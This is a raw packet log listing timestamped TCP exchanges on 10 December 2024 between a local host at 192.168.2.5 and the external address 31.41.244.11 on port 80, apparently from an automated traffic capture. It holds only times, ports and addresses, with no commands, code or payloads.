Dec 10, 2024 02:51:11.950828075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.950871944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.951852083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.951896906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.951987028 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.952032089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.953053951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.953170061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.953219891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.954303026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.954348087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.954377890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.954427004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.955463886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.955508947 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.955547094 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.955591917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.956665039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.956752062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.956804037 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.957849026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.957890987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.957957029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.958003044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.959124088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.959172010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.959206104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.959250927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.960221052 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.960347891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.960391045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.961442947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.961489916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.961575985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.961620092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.962615967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.962661982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.962740898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.962788105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.963805914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.963866949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.963901997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.963937044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.965019941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.965128899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.965177059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.966262102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.966312885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.966336012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.966378927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.967392921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.967442036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.967511892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.967560053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.968580008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.968750954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.968780041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.968795061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.969866037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.969923973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.969940901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.969985008 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.970963001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.971020937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.971055984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.971137047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.972187996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.972233057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.972294092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.972336054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.973368883 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.973427057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.973520041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.973629951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.974682093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.974725962 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.974822998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.974864006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.975831985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.975877047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.975938082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.975979090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.976942062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.977083921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.977125883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.978154898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.978212118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.978250027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.978285074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.979351997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.979402065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.979432106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.979490995 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.980539083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.980590105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.980639935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.980690002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.981729984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.981784105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.981812000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.981851101 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.982978106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.982999086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.983027935 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.983043909 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.984138012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.984215975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.984272003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.985321045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.985364914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.985443115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.985502005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.986526012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.986613035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.986655951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.987684011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.987737894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.987776995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.987837076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.988877058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.988918066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.988990068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.989358902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.990094900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.990149975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.990222931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.990334034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.991277933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.991328955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.991367102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.991404057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.992487907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.992583036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.992626905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.993655920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.993783951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.993834972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.994870901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.994934082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.994987965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.995089054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.996495008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.996678114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.996726990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.000210047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.000263929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.000298023 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.000375032 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.000812054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.000854015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.000891924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.000966072 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.002002954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.002054930 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.002125025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.002166033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.003190041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.003232956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.130631924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.131073952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.131249905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.131275892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.131340027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.131421089 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.131473064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.132464886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.132605076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.132649899 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.133754969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.133801937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.133857012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.133899927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.134860039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.134912968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.134969950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.135015011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.136043072 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.136094093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.136137009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.136183977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.137271881 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.137321949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.137382984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.137433052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.138437033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.138490915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.138549089 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.138593912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.139631987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.139681101 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.139719009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.139780998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.140845060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.140904903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.140928030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.140974045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.142014980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.142059088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.142129898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.142174959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.143203974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.143250942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.143326044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.143372059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.144419909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.144469023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.144566059 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.144613981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.145607948 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.145658016 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.145745993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.145791054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.146790981 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.146841049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.146903992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.146949053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.147989988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.148039103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.148098946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.148147106 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.149187088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.149235010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.149287939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.149331093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.150363922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.150408030 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.150487900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.150533915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.151566029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.151678085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.151725054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.152754068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.152803898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.152868032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.152913094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.153954029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.154006004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.154079914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.154125929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.155145884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.155193090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.155241013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.155281067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.156349897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.156400919 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.156464100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.156512022 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.157529116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.157576084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.157640934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.157685995 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.158732891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.158782959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.158828020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.158874035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.159925938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.159974098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.160043001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.160089970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.161125898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.161178112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.161231995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.161272049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.162329912 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.162384033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.162420988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.162467957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.163496017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.163546085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.163594007 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.163645029 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.164696932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.164752007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.164788008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.164830923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.165899038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.165956974 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.166009903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.166054964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.167068958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.167117119 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.167184114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.167232990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.168320894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.168376923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.168399096 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.168452024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.169509888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.169564009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.169594049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.169642925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.170655966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.170705080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.170795918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.170841932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.171844959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.171894073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.171958923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.172003984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.173094988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.173146009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.173162937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.173207998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.174266100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.174313068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.174386978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.174432039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.175441027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.175483942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.175554037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.175597906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.176625967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.176673889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.176743984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.176791906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.177815914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.177869081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.177952051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.177994013 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.179019928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.179069996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.179122925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.179168940 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.180214882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.180269957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.180309057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.180351973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.181416035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.181466103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.181504011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.181550026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.182590008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.182674885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.182698011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.182744026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.183815956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.183864117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.183900118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.183947086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.184992075 CET	80	49859	31.41.244.11	192.168.2.5
